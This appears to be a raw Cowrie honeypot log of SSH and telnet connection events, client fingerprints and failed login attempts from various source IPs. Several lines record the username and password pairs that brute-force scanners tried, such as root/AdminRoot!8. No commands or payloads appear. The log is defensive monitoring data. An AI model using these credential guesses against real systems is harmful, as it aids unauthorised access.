{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:28.866391Z","src_ip":"5.89.75.194","session":"de9bc267d5d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"azerty","message":"login attempt [ftpuser/azerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:29.311299Z","src_ip":"5.89.75.194","session":"de9bc267d5d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:30.423751Z","src_ip":"5.89.75.194","session":"de9bc267d5d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.891316890716553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:30.569429Z","src_ip":"198.235.24.117","session":"e4f5350fae88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57580,"dst_ip":"159.203.135.109","dst_port":23,"session":"08d246ff6d18","protocol":"telnet","message":"New connection: 128.199.8.54:57580 (159.203.135.109:23) [session: 08d246ff6d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:45.010844Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":1473,"dst_ip":"10.17.0.5","dst_port":22,"session":"632836702064","protocol":"ssh","message":"New connection: 102.88.137.80:1473 (10.17.0.5:22) [session: 632836702064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:45.234375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:45.239847Z","src_ip":"102.88.137.80","session":"632836702064","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:45.425983Z","src_ip":"102.88.137.80","session":"632836702064","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demodemo","message":"login attempt [demo/demodemo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:46.190717Z","src_ip":"102.88.137.80","session":"632836702064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:47.375258Z","src_ip":"102.88.137.80","session":"632836702064","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":60506,"dst_ip":"10.17.0.5","dst_port":22,"session":"d518e9d71a0e","protocol":"ssh","message":"New connection: 27.71.230.31:60506 (10.17.0.5:22) [session: d518e9d71a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:48.284633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:48.318097Z","src_ip":"27.71.230.31","session":"d518e9d71a0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:48.524917Z","src_ip":"27.71.230.31","session":"d518e9d71a0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":47342,"dst_ip":"10.17.0.5","dst_port":22,"session":"01de16d22e40","protocol":"ssh","message":"New connection: 201.17.146.173:47342 (10.17.0.5:22) [session: 01de16d22e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:48.595644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:48.603621Z","src_ip":"201.17.146.173","session":"01de16d22e40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:48.855346Z","src_ip":"201.17.146.173","session":"01de16d22e40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AdminRoot!8","message":"login attempt [root/AdminRoot!8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:50.982539Z","src_ip":"27.71.230.31","session":"d518e9d71a0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphin","password":"dolphin","message":"login attempt [dolphin/dolphin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:51.713804Z","src_ip":"201.17.146.173","session":"01de16d22e40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:52.288894Z","src_ip":"27.71.230.31","session":"d518e9d71a0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:52.854634Z","src_ip":"201.17.146.173","session":"01de16d22e40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":41440,"dst_ip":"159.203.135.109","dst_port":22,"session":"497252ebba9c","protocol":"ssh","message":"New connection: 101.47.159.125:41440 (159.203.135.109:22) [session: 497252ebba9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:56.628638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:56.635282Z","src_ip":"101.47.159.125","session":"497252ebba9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00154161453247,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:56.763339Z","src_ip":"94.23.66.112","session":"67818ddf0df1","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:56.873837Z","src_ip":"101.47.159.125","session":"497252ebba9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steven","password":"steven","message":"login attempt [steven/steven] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:57.859521Z","src_ip":"101.47.159.125","session":"497252ebba9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:15:59.103677Z","src_ip":"101.47.159.125","session":"497252ebba9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46244,"dst_ip":"159.203.135.109","dst_port":23,"session":"1923446c1d17","protocol":"telnet","message":"New connection: 172.81.62.90:46244 (159.203.135.109:23) [session: 1923446c1d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:00.599657Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":38036,"dst_ip":"10.17.0.5","dst_port":22,"session":"a82d10948ff1","protocol":"ssh","message":"New connection: 189.203.163.10:38036 (10.17.0.5:22) [session: a82d10948ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:11.303996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:11.315624Z","src_ip":"189.203.163.10","session":"a82d10948ff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:11.422336Z","src_ip":"189.203.163.10","session":"a82d10948ff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xe","password":"xe","message":"login attempt [xe/xe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:11.700382Z","src_ip":"189.203.163.10","session":"a82d10948ff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:12.774639Z","src_ip":"189.203.163.10","session":"a82d10948ff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.65055465698242,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:20.661296Z","src_ip":"128.199.8.54","session":"08d246ff6d18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.234.44","src_port":37504,"dst_ip":"10.17.0.5","dst_port":23,"session":"17244b437769","protocol":"telnet","message":"New connection: 150.136.234.44:37504 (10.17.0.5:23) [session: 17244b437769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:21.785909Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":35370,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f561caa19ba","protocol":"ssh","message":"New connection: 103.77.242.62:35370 (10.17.0.5:22) [session: 3f561caa19ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:22.065737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:22.069609Z","src_ip":"103.77.242.62","session":"3f561caa19ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:22.312132Z","src_ip":"103.77.242.62","session":"3f561caa19ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"171082","message":"login attempt [root/171082] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:23.040801Z","src_ip":"103.77.242.62","session":"3f561caa19ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:24.283688Z","src_ip":"103.77.242.62","session":"3f561caa19ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":41792,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a68b666bb95","protocol":"ssh","message":"New connection: 79.104.0.82:41792 (10.17.0.5:22) [session: 0a68b666bb95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:31.509867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:31.516444Z","src_ip":"79.104.0.82","session":"0a68b666bb95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:31.663827Z","src_ip":"79.104.0.82","session":"0a68b666bb95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rank","password":"123456","message":"login attempt [rank/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:32.273248Z","src_ip":"79.104.0.82","session":"0a68b666bb95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:33.420534Z","src_ip":"79.104.0.82","session":"0a68b666bb95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.159503698349,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:37.759031Z","src_ip":"172.81.62.90","session":"1923446c1d17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":17322,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a5aa483fff2","protocol":"ssh","message":"New connection: 102.88.137.80:17322 (10.17.0.5:22) [session: 6a5aa483fff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:16:39.106076Z"}
